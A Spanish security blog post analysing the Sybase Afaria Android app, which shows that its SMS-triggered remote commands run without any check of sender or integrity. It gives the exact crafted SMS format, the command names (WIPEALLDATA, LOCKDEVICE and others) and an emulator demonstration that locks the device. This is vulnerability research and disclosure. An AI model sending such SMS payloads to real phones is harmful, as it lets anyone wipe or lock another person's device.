Español | English
rss facebook linkedin Twitter

Modelo Cliente-Servidor en dispositivos móviles

Analizando la aplicación Sybase Afaria para dispositivos Android (gratuita a través del play.google.com), podemos ver, entre otras, que como características tiene la posibilidad de gestionar ciertas acciones de forma remota.

Tras solicitar por dos veces la versión de evaluación de la maqueta (Sybase Afaria Server) que el propio fabricante dice ofrecer de forma gratuita y no obtener ningún tipo de respuesta, en un plazo de un año, opté por realizar el análisis sin el debido contexto, a modo experimental y sabiendo que cualquier conclusión ha de ser contrastada desplegando un entorno Cliente-Servidor adecuado.

A grandes rasgos, tenemos cinco posibles comandos de gestión remota del dispositivo.

- Hard-Reset.
- Hard-Reset incluyendo el borrado de la tarjeta SD.
- Borrado de datos PIM.
- Bloqueo de dispositivo.
- Desbloqueo de dispositivo.

Y la gestión de dichos comandos se realiza a través de la recepción de un SMS con un formato especifico.

Perfecto, para empezar, desempaquetemos la aplicación y veamos como se gestionan los SMS.

Para desempaquetar la aplicación, decompilar el código y obtener los recursos en texto plano, en mi caso, me serví de las herramientas dex2jar, apktool y jd-gui.

$ apktool d -s Afaria.apk Afaria_Desempaquetada
$ dex2jar.sh Afaria_Desempaquetada/classes.dex

En el fichero AndroidManifest.xml podemos ver que la gestión de SMS la realiza la clase AfariaSMSlistenerBroadcastReceiver.

  <receiver android:name=".AfariaSMSlistenerBroadcastReceiver">
    <intent-filter>
      <action android:name="android.provider.Telephony.SMS_RECEIVED" />
    </intent-filter>
  </receiver>

La decompilación del código utilizando jd-gui es directa abriendo el fichero creado por dex2jar (classes_dex2jar.jar)

Siguiendo el flujo de ejecución, desde la recepción de un SMS, veremos que el tratamiento de posibles comandos lo lleva a cabo el método ‘SeedData.processCommand’ y no hay referencias a posibles verificaciones de integridad ni procedencia del mismo, exclusivamente se centra en verificar que el contenido del mismo cumple ciertos requisitos.

Analizando con más detalle el método ‘processCommand’ podremos deducir que el formato correcto de un SMS para la gestión remota ha de ser:

[@#!Afaria][Hash de 28 bytes de longitud][$\$CMD:][COMANDO]
(Los corchetes separan los diferentes campos del SMS, no forman parte del mismo)

Los posibles comandos son: WIPEALLDATA, WIPEPIMDATA, WIPEAPPDATA, LOCKDEVICE y UNLOCKDEVICE.

Con estos datos, ya podemos hacer una primera verificación y ver si realmente hay o no comprobaciones de integridad o procedencia.

$ emulator -avd DRDLABBOX &
$ adb install Afaria.apk

Una vez instalada y ejecutada, nos conectamos a la consola del emulador (habitualmente en el puerto 5554, pero siempre podemos confirmarlo con ‘adb devices’) y realizar el envío del SMS.

$ telnet 127.0.0.1 5554
sms send 15555215554 @#!Afaria0123456789ABCDEF0123456789AB$\$CMD:LOCKDEVICE

Como podemos ver en los propios logs del emulador (adb shell logcat), todo ha ido como esperábamos y el dispositivo ha sido bloqueado:

I/getSMSseedInfo(618): Requeried message count: 1
I/getSMSseedInfo(618): content://sms/inbox    summary: row[1] x column[4]
I/getSMSseedInfo(618): _id    1
I/getSMSseedInfo(618): thread_id    2
I/getSMSseedInfo(618): address    15555215554
I/getSMSseedInfo(618): body    @#!Afaria0123456789ABCDEF0123456789AB $\\$CMD:LOCKDEVICE
I/getSMSseedInfo(618): processCommand:@#!Afaria0123456789ABCDEF0123456789AB $\\$CMD:LOCKDEVICE
I/System.out(618):  The First Part of the SMS Message Is : 0123456789ABCDEF0123456789AB
I/System.out(618):  The rest of the SMS Message Is : $\\$CMD:LOCKDEVICE
V/LockPatternUtils(81): Initialized lock password salt
D/LockPatternUtils(81): lock password file changed



Para tener una segunda verificación de que no ha habido ningún comportamiento no esperado, podemos monitorizar el proceso de la aplicación con DDMS para ver los métodos utilizados o generar un grafo para tener una visión totalmente completa del flujo de ejecución seguido desde el envío del SMS.

Para ello, partimos de una imagen de Android limpia, instalamos nuevamente la aplicación (y ejecutamos), y utilizamos la herramienta DDMS para monitorizar el proceso.

Monitorizacion de proceso mediante ddms:
1. Seleccionar proceso a monitorizar
2. Seleccionar opción ‘Start Method Profiling’
3. Enviar SMS
4. Seleccionar opción ‘Stop Method Profiling’

Siguiendo estos pasos se nos abrirá la aplicación ‘traceview’, en la que podremos ver la pila de llamadas.



Finalmente si quisiéramos generar el grafo en base a la traza generada anteriormente con ddms, podemos utilizar dmtracedump.

$ dmtracedump -g trace.png ddms.trace

Con todo esto y en el contexto que se mencionó al inicio (sin un despliegue real del modelo Cliente-Servidor), hay datos suficientes para decir que es posible la ejecución remota de los comandos de gestión implementados en base al numero telefónico objetivo.

Pero más allá de un error de diseño en si mismo, destacaría que el análisis de aplicaciones para dispositivos móviles no siempre ha de centrarse en los conceptos inherentes a la nueva tecnología, a veces los conceptos clásicos; lógica de la aplicación, programación segura o los diferentes factores de autentificación, pueden darnos vectores de análisis muy interesantes.

Eugenio Delfa
Dept. ACSS S21SEC



(+34 902 222 521)


24 horas / 7 días a la semana



© Copyright S21sec 2013 - Todos los derechos reservados


login